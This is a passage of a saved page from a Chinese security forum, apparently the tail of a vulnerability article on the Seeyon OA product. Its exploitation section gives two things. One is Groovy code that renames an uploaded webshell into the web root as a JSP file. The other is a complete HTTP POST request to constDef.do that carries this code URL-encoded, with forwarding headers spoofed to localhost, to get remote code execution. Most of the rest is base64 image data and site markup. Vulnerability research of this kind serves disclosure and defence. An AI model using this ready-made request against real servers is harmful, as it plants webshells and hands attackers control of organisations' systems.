ab4NpP0Ho3fPh/GtYhyZO/bok8zBZCCPGCMVIURQE4ePAg7du3L+/8CCGEEC+08B076NG7d3lnQwghhBB5yjanWQghhBBCCCGEeI5Jo1kIIYQQQgghhNBAGs1CCCGEEEIIIYQG0mgWQgghhBBCCCE0kEazEEIIIYQQQgihgTSahRBCCCGEEEIIDaTRLIQQQgghhBBCaCCNZiGEEEIIIYQQQgPT8s6AEEKIZ0+jD1fpHfbsyuEGzIkQQgghQMrmJ0l6moUQQpRKWQplQ4QXQgghRGFSNj9Z0mgWQghRYoYqVKVwFkIIIQxDyuYnTxrNQgghhBBCCCGEBjKnWQghhN6GeDShWmVzncftjL5I7PVkg6QZGRnJgwcP6NGjh0HiE0IIIZ4nUjYb3hNoNN8lOigMvN+mrc2jrfEh60l6tfC2R8cfxtbHE2etxwlRFpHM7/EzL61ega/jY7sSAhkzbDddi9snhNDIopIJfV91xq66ldbjsnNyOXvlrsEK5r/++ovt27erC+bc3FwWLlxIq1at2LdvH/b29gwZMoTKlSsbJD2ATZs2MXHiRJ3Hffvtt7z55psGS9cw4ljqNRaWheDn8mhr6AQvzn9ceNuj4xfTMCSAnlqPE0Kzu9HrCYpKKtGxNq8Ool3SbwTHGZXoeMXFC79XkwgKvEs7P1X9US0+jKWxLvh5NSg2T4FJbR/tu3uYoChbfIo5tuKS+ozQTsrmogxRNj+BRrMNbb2dCQoMw9bPE2fuEh30G7Gu7+BTXEM4/jCHbF3wM3xGDCSOpV6v8e9jj27kyiszOBDix7Ndf0ggcPQwLg8N53P3gpsDGTPsEu+H++OuMWxFFsn8HtMIM1J9X4rnLML8n80zEaKiy8jKwWf+tqeebseOHZk1axYPHjzA0tKSy5cvM2nSJCpVqkTfvn05deoU//d//8fBgwepUqWKQdJ0d3dn5syZJTqu4nHBb9kAvF6bQMPEAHrmlWubBxwgpLiCLHQxM5v2JfGp57OkVOXXTwUaWIrLSFat8OXZbic8X+WyTdu3Gdu24JbiO1UeGcPYQocfJigYvH3aUHw/SgN8fA8TtDSMpHZ3iSrQQDcijmXLHh3p4j0aL2dVnnyj17M0BHoRrG6k5x+ruHgV29guH1KfEfqRsrn448rKcI3mu4cJCozibt4fN0YQvCwO9Yeo/7EsSvWp4E0pPvYu7V7VfIOKD1lOrOsYvJw1HvJU+K65SUBP1c+hE+x4bUJDEvM3iIohch49p4fhOTucUPdH28YEOrLcV0s4R1+Wh2s7QAhRkbRv3x6AQ4cO0bVrV/X2FStWMHz4cDIzM3n55Zf54Ycf+PTTTw2SpoODA0OHDjVIXE9N3FK8XpvJsQLl8nv2gag/HHPH/t+qT4rvGnWZFrothpkfB2iMNnSCHdv6JlLeRaDnrDB14zJyXg+Gz3OSRkVFEx/GsuC4wtuCVhBV4GN+gxYuELI0mDijwr3NQcuiC31WFBd65fcu27TBx0/Vg5ykjqewu9HriUJVnzxk+w4+bd/O66gZw9j4MIKS2uDT1iavh7qM52soUp8Rz6DnvWw2XKPZpg0+fm0Kb9M17OXuYQ4lOeNd7CNEVQ/1IVtv/Mq5wfy4nn3fhaf/AEdoFcn8aaF4zn7sCb27P8vdARLKKV9CPN90zZvKzsnlSFwih87eMFialpaWtGnThn379hUqmLt16w
|
|||
|
|
<p blockindex=42><img src="data:image/png;base64,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
|
|||
|
|
<h3 blockindex=43>漏洞进一步利用</h3>
|
|||
|
|
<p blockindex=44>由于<code>CONST_DEFINE</code>保存的是执行的代码,需要先插入到数据库中,再取出执行,该字段规则限制的长度为<code>200</code>。为了绕过该规则,可以通过上传一个后缀为<code>png</code>,内容为<code>webshell</code>的文件,然后再通过执行代码的方式将文件从上传路径移动到web路径实现RCE。</p>
|
|||
|
|
<pre blockindex=45><code class="hljs language-groovy">java.io.File file = <span class=hljs-keyword>new</span> java.io.File(<span class=hljs-string>"..\\..\\base\\upload\\2023\\12\\15\\8115437553340205223"</span>);java.io.File endFile = <span class=hljs-keyword>new</span> java.io.File(<span class=hljs-string>"..\\webapps\\ROOT\\666.jsp"</span>);file.renameTo(endFile);<span class=hljs-comment>//$b1$</span>
|
|||
|
|
</code></pre>
|
|||
|
|
<pre blockindex=46><code class="hljs language-php">POST /seeyon/constDef.<span class=hljs-keyword>do</span> HTTP/<span class=hljs-number>1.1</span>
|
|||
|
|
Host: <span class=hljs-number>172.20</span>.<span class=hljs-number>10.133</span>
|
|||
|
|
Pragma: no-cache
|
|||
|
|
Cache-Control: no-cache
|
|||
|
|
Upgrade-Insecure-Requests: <span class=hljs-number>1</span>
|
|||
|
|
User-Agent: Mozilla/<span class=hljs-number>5.0</span> (Windows NT <span class=hljs-number>10.0</span>; Win64; x64) AppleWebKit/<span class=hljs-number>537.36</span> (KHTML, like Gecko) Chrome/<span class=hljs-number>120.0</span>.<span class=hljs-number>0.0</span> Safari/<span class=hljs-number>537.36</span>
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=<span class=hljs-number>0.9</span>,image/avif,image/webp,image/apng,*<span class=hljs-comment>/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.9
|
|||
|
|
Cookie: ts=1702625401543; JSESSIONID=0AD7C82F3D4D8EA1B6FA9E28132C4BD2; loginPageURL=; login_locale=zh_CN
|
|||
|
|
x-forwarded-for: 127.0.0.1
|
|||
|
|
x-originating-ip: 127.0.0.1
|
|||
|
|
x-remote-ip: 127.0.0.1
|
|||
|
|
x-remote-addr: 127.0.0.1
|
|||
|
|
Connection: close
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
Content-Length: 640
|
|||
|
|
|
|||
|
|
method=newConstDef&constKey=f5&constDefine=%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%20%66%69%6c%65%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%22%2e%2e%5c%5c%2e%2e%5c%5c%62%61%73%65%5c%5c%75%70%6c%6f%61%64%5c%5c%32%30%32%33%5c%5c%31%32%5c%5c%31%35%5c%5c%38%31%31%35%34%33%37%35%35%33%33%34%30%32%30%35%32%32%33%22%29%3b%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%20%65%6e%64%46%69%6c%65%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%22%2e%2e%5c%5c%77%65%62%61%70%70%73%5c%5c%52%4f%4f%54%5c%5c%36%36%36%2e%6a%73%70%22%29%3b%66%69%6c%65%2e%72%65%6e%61%6d%65%54%6f%28%65%6e%64%46%69%6c%65%29%3b%2f%2f%24%62%31%24&constType=3
|
|||
|
|
</span></code></pre></div></div>
|
|||
|
|
</div>
|
|||
|
|
<div class="post-opt mt-30">
|
|||
|
|
<ul class="list-inline text-muted">
|
|||
|
|
<li>
|
|||
|
|
<i class="fa fa-clock-o"></i>
|
|||
|
|
发表于 2024-07-30 10:04:15
|
|||
|
|
</li>
|
|||
|
|
<li>阅读 ( 1656 )</li>
|
|||
|
|
<li>分类:<a href=https://forum.butian.net/index.php/articles/OA target=_blank rel="noopenner noreferrer">OA产品</a>
|
|||
|
|
</li>
|
|||
|
|
<li><a href=# class=report_btn data-source_type=vulnerabilities_article data-source_id=495 data-toggle=modal data-target=#send_report_model><i class="fa fa-flag-o"></i> 举报</a></li>
|
|||
|
|
</ul>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="text-center mt-30 mb-20">
|
|||
|
|
<button id=support-button class="btn btn-success btn-lg mr-5" data-loading-text=加载中... data-source_type=article data-source_id=495 data-support_num=0> 0 推荐</button>
|
|||
|
|
<button id=collect-button class="btn btn-default btn-lg" data-loading-text=加载中... data-source_type=article data-source_id=495> 收藏</button>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="widget-answers mt-15">
|
|||
|
|
<h2 class="h4 post-title">0 条评论</h2>
|
|||
|
|
<div class=comment>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="widget-comment-form row mb-20">
|
|||
|
|
<form class=col-md-12>
|
|||
|
|
<div class=form-group>
|
|||
|
|
<textarea id=comment-content name=content placeholder=写下你的评论 class=form-control value></textarea>
|
|||
|
|
</div>
|
|||
|
|
</form>
|
|||
|
|
<div class="col-md-12 text-right">
|
|||
|
|
|
|||
|
|
<button type=submit data-token=sKaWQokrOTC3iA9XXzaH65D8iBGicq4jNmsDOLZX data-source_id=495 data-source_type=article class="btn btn-primary btn-sm ml-10 comment-btn">提交评论</button>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class=text-center>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="col-xs-12 col-md-3 side" style=display:none>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<footer id=footer>
|
|||
|
|
<div class=container>
|
|||
|
|
<div class=text-center>
|
|||
|
|
<a href=https://forum.butian.net/index.php>奇安信攻防社区</a><span class=span-line>|</span>
|
|||
|
|
<a href=mailto:butian_report@qianxin.com target=_blank rel="noopenner noreferrer">联系我们</a><span class=span-line>|</span>
|
|||
|
|
<a href=https://forum.butian.net/index.php/sitemap>sitemap</a>
|
|||
|
|
</div>
|
|||
|
|
<div class="copyright mt-10">
|
|||
|
|
Copyright © 2013-2023 BUTIAN.NET 版权所有 <a href=https://beian.miit.gov.cn/#/Integrated/index>京ICP备18014330号-2</a>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</footer>
|
|||
|
|
<div class="modal fade sf-hidden" id=sendTo_message_model tabindex=-1 role=dialog aria-labelledby=exampleModalLabel>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
<div class="modal fade sf-hidden" id=send_report_model role=dialog aria-labelledby=exampleModalLabel>
|
|||
|
|
|
|||
|
|
</div> <div class="modal fade in sf-hidden" id=payment-qrcode-modal-article-495 tabindex=-1 role aria-labelledby=exampleModalLabel aria-hidden=false>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div style="display:none;position:fixed;top:40%;left:50%;z-index:9999;transform:translate(-50%,-50%);padding:3px 15px;border-radius:8px;background:rgba(120,120,120,0.7);box-shadow:1px 1px 3px 1px rgba(160,160,160,0.6);text-align:center;font-size:12px;color:#fff"></div><div id=windowLoading class="modal fade sf-hidden" tabindex=-1 role=dialog>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span id=cnzz_stat_icon_1279782571></span>
|
|||
|
|
<div class="geetest_panel geetest_wind" style=display:none></div><div id=immersive-translate-popup style=all:initial><template shadowrootmode=open><style class=sf-hidden>/*!
|
|||
|
|
* Pico.css v1.5.6 (https://picocss.com)
|
|||
|
|
* Copyright 2019-2022 - Licensed under MIT
|
|||
|
|
*/#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:0.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:0.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:0.5rem;--nav-link-spacing-vertical:0.5rem;--nav-link-spacing-horizontal:0.5rem;--form-label-font-weight:var(--font-weight);--transition:0.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media (min-width:576px){#mount{--font-size:17px}}@media (min-width:768px){#mount{--font-size:18px}}@media (min-width:992px){#mount{--font-size:19px}}@media (min-width:1200px){#mount{--font-size:20px}}@media (min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media (min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media (min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media (min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media (min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media (min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media (min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media (min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:0.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:0.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#F5F7F9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-c
|